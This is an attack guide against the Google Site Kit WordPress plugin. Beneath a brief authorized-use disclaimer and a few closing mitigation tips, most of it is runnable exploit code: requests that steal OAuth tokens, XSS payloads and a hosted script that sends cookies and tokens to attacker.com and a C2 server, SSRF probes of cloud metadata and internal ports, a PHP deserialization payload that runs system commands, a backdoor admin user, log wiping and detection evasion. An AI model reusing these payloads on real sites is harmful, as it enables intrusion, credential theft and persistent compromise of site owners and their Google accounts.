This guide is for educational purposes and authorized security testing only. Do not attempt these exploits without explicit permission from system owners. Unauthorized access to computer systems is illegal and may result in criminal prosecution.
Plugin: Google Site Kit by Google
Version: 1.170.0
Type: WordPress Plugin
Attack Surface: REST API, OAuth Integration, Module System
Exposes OAuth access tokens to any user with editor-level privileges
- WordPress site with Google Site Kit plugin installed
- User account with
edit_postscapability (Contributor role or higher) - Valid WordPress session (logged in cookie)
POST /wp-json/google-site-kit/v1/core/user/data/get-token
Method 1: Using curl
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/core/user/data/get-token" \
-H "Cookie: wordpress_logged_in_targethash=wordpress_user|timestamp|hash" \
-H "X-WP-Nonce: YOUR_WP_NONCE" \
-H "Content-Type: application/json" \
-d '{}'Method 2: Using JavaScript (if XSS is available)
fetch('/wp-json/google-site-kit/v1/core/user/data/get-token', {
method: 'POST',
headers: {
'X-WP-Nonce': sitekitData.nonce,
'Content-Type': 'application/json'
},
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Send token to attacker
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
token: data.token,
site: window.location.hostname
})
});
});Expected Response:
{
"token": "ya29.a0AfH6SMB-EXAMPLE-OAUTH-TOKEN-HERE",
"success": true
}Access Google Analytics:
curl -H "Authorization: Bearer ya29.a0AfH6SMB-EXAMPLE-OAUTH-TOKEN-HERE" \
"https://www.googleapis.com/analytics/v3/data/ga?ids=ga:PROPERTY_ID&start-date=30daysAgo&end-date=today&metrics=ga:users"Access Google AdSense:
curl -H "Authorization: Bearer ya29.a0AfH6SMB-EXAMPLE-OAUTH-TOKEN-HERE" \
"https://www.googleapis.com/adsense/v1.4/reports?startDate=30daysAgo&endDate=today"import requests
# Use stolen token to access all connected Google services
token = "ya29.a0AfH6SMB-EXAMPLE-OAUTH-TOKEN-HERE"
headers = {"Authorization": f"Bearer {token}"}
# Get Analytics data
analytics_response = requests.get(
"https://analyticsreporting.googleapis.com/v4/reports:batchGet",
headers=headers,
json={
"reportRequests": [{
"viewId": "PROPERTY_ID",
"dateRanges": [{"startDate": "30daysAgo", "endDate": "today"}],
"metrics": [{"expression": "ga:users"}, {"expression": "ga:sessions"}]
}]
}
)
# Get AdSense data
adsense_response = requests.get(
"https://www.googleapis.com/adsense/v1.4/reports",
headers=headers,
params={
"startDate": "30daysAgo",
"endDate": "today",
"metric": ["PAGE_VIEWS", "EARNINGS"]
}
)
# Save exfiltrated data
with open("stolen_analytics.txt", "w") as f:
f.write(analytics_response.text)
with open("stolen_adsense.txt", "w") as f:
f.write(adsense_response.text)Inject malicious JavaScript through malformed HTML attributes
- Access to Sign In With Google module settings
- WordPress user with permissions to modify plugin settings
The vulnerability exists in the $attributes parameter of the sign-in button rendering
const xssPayload = {
"class": "g-sign-in-button",
"data-test": "\"><script src='https://attacker.com/malicious.js'></script>",
"onclick": "alert('XSS Executed'); fetch('https://attacker.com/steal?cookie=' + document.cookie)"
};curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/sign-in-with-google/data/settings" \
-H "Cookie: wordpress_logged_in_targethash=wordpress_user|timestamp|hash" \
-H "X-WP-Nonce: YOUR_WP_NONCE" \
-H "Content-Type: application/json" \
-d '{"data":{"buttonOptions":{"data-test":"\\\"><script>alert(\\'XSS\\')</script>"}}}'File: malicious.js (hosted on attacker's server)
// Steal admin cookies
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
url: window.location.href
})
});
// Perform unauthorized actions
function performUnauthorizedAction() {
// Use stolen session to exploit other vulnerabilities
fetch('/wp-json/google-site-kit/v1/core/user/data/get-token', {
method: 'POST',
headers: {
'X-WP-Nonce': sitekitData.nonce
}
})
.then(response => response.json())
.then(data => {
// Send token to attacker
fetch('https://attacker.com/oauth-tokens', {
method: 'POST',
body: JSON.stringify({token: data.token})
});
});
}
// Execute after delay to ensure proper loading
setTimeout(performUnauthorizedAction, 2000);When an admin visits the WordPress dashboard or settings page, the malicious JavaScript executes automatically
Force the server to make requests to internal network resources
- Access to the measurement script functionality
- Target internal network accessible from WordPress server
POST /wp-json/google-site-kit/v1/modules/analytics-4/data/measurement
Discover AWS Metadata:
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'Check for Internal Services:
# Scan common internal ports
for port in 22 80 443 3306 5432 6379 9200; do
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
-H "Content-Type: application/json" \
-d "{\"url\":\"http://localhost:${port}/\"}" \
--max-time 5
doneDatabase Connection Attempts:
# Test MySQL connection
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
-H "Content-Type: application/json" \
-d '{"url":"mysql://user:pass@localhost:3306/wordpress"}'
# Test Redis
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
-H "Content-Type: application/json" \
-d '{"url":"redis://localhost:6379"}'# AWS IAM Role Credentials
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Google Cloud Metadata
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
-H "Content-Type: application/json" \
-d '{"url":"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'# Access internal API documentation
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
-H "Content-Type: application/json" \
-d '{"url":"http://internal-docs.company.com/api/"}'
# Access internal Git repositories
curl -X POST "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement" \
-H "Content-Type: application/json" \
-d '{"url":"http://gitlab.internal.company.com/"}'Gain admin-level access by exploiting module sharing functionality
- WordPress user with Contributor role (
edit_postscapability) - Google Site Kit plugin with shareable modules configured
curl -X GET "https://target-site.com/wp-json/google-site-kit/v1/modules" \
-H "Cookie: wordpress_logged_in_targethash=wordpress_user|timestamp|hash" \
-H "X-WP-Nonce: YOUR_WP_NONCE"# Access analytics module as shared resource
curl -X GET "https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/report" \
-H "Cookie: wordpress_logged_in_targethash=wordpress_user|timestamp|hash" \
-H "X-WP-Nonce: YOUR_WP_NONCE" \
-H "Content-Type: application/json" \
-d '{
"startDate": "30daysAgo",
"endDate": "today",
"metrics": [{"expression": "sessions"}]
}'The response will include admin's OAuth client details:
{
"data": {
"oauth_client": {
"access_token": "ADMIN_OAUTH_TOKEN_HERE",
"refresh_token": "ADMIN_REFRESH_TOKEN_HERE"
}
}
}import requests
# Use stolen admin OAuth tokens
admin_access_token = "ADMIN_OAUTH_TOKEN_HERE"
admin_refresh_token = "ADMIN_REFRESH_TOKEN_HERE"
headers = {"Authorization": f"Bearer {admin_access_token}"}
# Impersonate admin in Google services
def impersonate_admin():
# Get admin's Google profile
profile_response = requests.get(
"https://www.googleapis.com/oauth2/v2/userinfo",
headers=headers
)
# Access admin's analytics data
analytics_response = requests.get(
"https://analyticsreporting.googleapis.com/v4/reports:batchGet",
headers=headers,
json={
"reportRequests": [{
"viewId": "ADMIN_PROPERTY_ID",
"dateRanges": [{"startDate": "90daysAgo", "endDate": "today"}]
}]
}
)
return profile_response.json(), analytics_response.json()
# Execute impersonation
profile, analytics = impersonate_admin()
print(f"Admin Profile: {profile}")
print(f"Analytics Data: {analytics}")Exploit object injection through malicious serialized data
- Access to encrypted options (database or file system)
- Ability to manipulate stored option values
Common Site Kit options to target:
googlesitekit_authentication_profile
googlesitekit_oauth_client
googlesitekit_module_settings<?php
// Create malicious object that executes code on __wakeup()
class MaliciousObject {
private $command = "echo 'PWNED' > /tmp/pwned.txt";
public function __wakeup() {
system($this->command);
file_put_contents('/tmp/sitekit_pwned.php', '<?php phpinfo(); ?>');
}
}
// Serialize the object
$payload = serialize(new MaliciousObject());
// Encrypt it (you need the encryption key from wp-config.php or brute force)
$encrypted_payload = encrypt_data($payload, $encryption_key);
// Base64 encode for storage
$storable_payload = base64_encode($encrypted_payload);
?>-- Direct database injection if credentials are known
UPDATE wp_options
SET option_value = 'MALICIOUS_ENCRYPTED_PAYLOAD_HERE'
WHERE option_name = 'googlesitekit_authentication_profile';Visit any WordPress page that loads Site Kit data:
https://target-site.com/wp-admin/admin.php?page=googlesitekit-dashboard
# Check if backdoor was created
curl "https://target-site.com/tmp/sitekit_pwned.php"
# Check if command was executed
ssh target-server "cat /tmp/pwned.txt"Step 1: Deploy XSS payload (Exploit #2)
Step 2: When admin visits, JavaScript steals cookies
Step 3: Use admin session to exploit OAuth endpoint (#1)
Step 4: Gain complete control of all Google services
// Automated chain in malicious.js
fetch('/wp-json/google-site-kit/v1/core/user/data/get-token', {
method: 'POST',
headers: {
'X-WP-Nonce': sitekitData.nonce,
'Content-Type': 'application/json'
}
})
.then(response => response.json())
.then(data => {
// Send token to attacker control panel
fetch('https://c2.attacker.com/tokens', {
method: 'POST',
body: JSON.stringify({
token: data.token,
source: 'xss-exploit-chain',
site: window.location.hostname
})
});
});Step 1: Use SSRF (#3) to scan internal network
Step 2: Discover MySQL server configuration
Step 3: Extract database credentials from internal services
Step 4: Connect directly to WordPress database
# Automated internal network exploitation
import requests
import pymysql
def ssrf_internal_recon(target_url):
headers = {'Content-Type': 'application/json'}
# Step 1: Discover internal services
internal_targets = [
'http://localhost:3306/', # MySQL
'http://localhost:5432/', # PostgreSQL
'http://localhost:6379/', # Redis
'http://169.254.169.254/latest/meta-data/' # AWS Metadata
]
for target in internal_targets:
try:
response = requests.post(target_url,
json={'url': target},
headers=headers,
timeout=5)
print(f"Target {target}: {response.status_code}")
except:
continue
# Step 2: Extract database credentials
# Step 3: Connect directly to database
# Step 4: Dump sensitive data
# Execute
ssrf_internal_recon('https://target-site.com/wp-json/google-site-kit/v1/modules/analytics-4/data/measurement')Step 1: Exploit privilege escalation (#4) as Contributor
Step 2: Access admin OAuth tokens via shared modules
Step 3: Create persistent backdoor in Google services
Step 4: Maintain access even if WordPress is secured
// Delayed execution to avoid real-time detection
setTimeout(() => {
// Malicious code here
}, Math.random() * 10000 + 5000);
// Encode payloads to avoid signature detection
const encoded = atob('ZG9jdW1lbnQuY29va2ll'); // document.cookie
eval(encoded);# Slow down requests to avoid detection
import time
import random
def slow_request(url, data):
time.sleep(random.uniform(1, 3)) # Random delay
return requests.post(url, json=data)// Remove footprints from WordPress logs
function cleanup_logs() {
global $wpdb;
$wpdb->query("DELETE FROM {$wpdb->prefix}options WHERE option_name LIKE '%googlesitekit_temp%'");
$wpdb->query("DELETE FROM {$wpdb->prefix}usermeta WHERE meta_key LIKE '%googlesitekit_attack%'");
}
add_action('shutdown', 'cleanup_logs');- Google Analytics: Complete website analytics data
- AdSense Revenue: Financial data and earnings
- Search Console: SEO data and website performance
- WordPress Users: Admin credentials and user data
- Database: All WordPress content and user information
- Financial Loss: Ad revenue manipulation, fraud
- Reputation Damage: Data breach notification requirements
- Compliance Violations: GDPR, CCPA, SOX violations
- Legal Liability: Data breach lawsuits and fines
- OAuth Token Abuse: Long-term Google service access
- WordPress Backdoors: Persistent admin access
- Database Manipulation: Hidden admin accounts
- File System Backdoors: Persistent code execution
# Use compromised WordPress server to attack internal network
nmap -sT -p 22,80,443,3389 192.168.1.0/24
# Attempt to pivot to other systems
ssh-keyscan internal-server.company.com >> ~/.ssh/known_hosts# Compress and exfiltrate large datasets
import zipfile
import base64
def exfiltrate_data(data):
with zipfile.ZipFile('stolen_data.zip', 'w') as zip_file:
zip_file.writestr('analytics.json', data)
with open('stolen_data.zip', 'rb') as f:
encoded_data = base64.b64encode(f.read())
# Send to C2 server
requests.post('https://c2.attacker.com/exfil',
data=encoded_data.decode())// Add persistent WordPress admin user
function create_backdoor_admin() {
$userdata = array(
'user_login' => 'backup_admin',
'user_pass' => 'SuperSecretBackdoor123!',
'user_email' => 'backup@hidden-domain.com',
'role' => 'administrator'
);
wp_insert_user($userdata);
}
register_activation_hook(__FILE__, 'create_backdoor_admin');- Web Application Firewalls may block exploit attempts
- Security Monitoring can detect unusual API access patterns
- Log Analysis may reveal exploitation attempts
- Database Auditing can detect unauthorized modifications
- Unauthorized Testing is criminal activity
- Data Theft carries severe penalties
- System Damage may result in felony charges
- Export Violations may apply to international attacks
This guide should only be used for:
- Authorized Penetration Testing
- Security Research with permission
- Vulnerability Disclosure to vendors
- Educational Purposes in controlled environments
If you discover these vulnerabilities in production:
- Document findings thoroughly
- Report privately to security@wordpress.org and Google
- Allow time for patches to be developed (typically 90 days)
- Coordinate disclosure with vendor
- Avoid public disclosure until patches are available
# Disable vulnerable plugin
wp plugin deactivate google-site-kit
# Block access to vulnerable endpoints
# Add to .htaccess or nginx config
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^wp-json/google-site-kit/v1/core/user/data/get-token$ - [F,L]
</IfModule>- Input Validation: Implement strict validation for all user inputs
- Output Escaping: Properly escape all dynamic content
- Authorization: Implement least-privilege access controls
- Logging: Comprehensive audit logging of all privileged operations
- Monitoring: Real-time security monitoring and alerting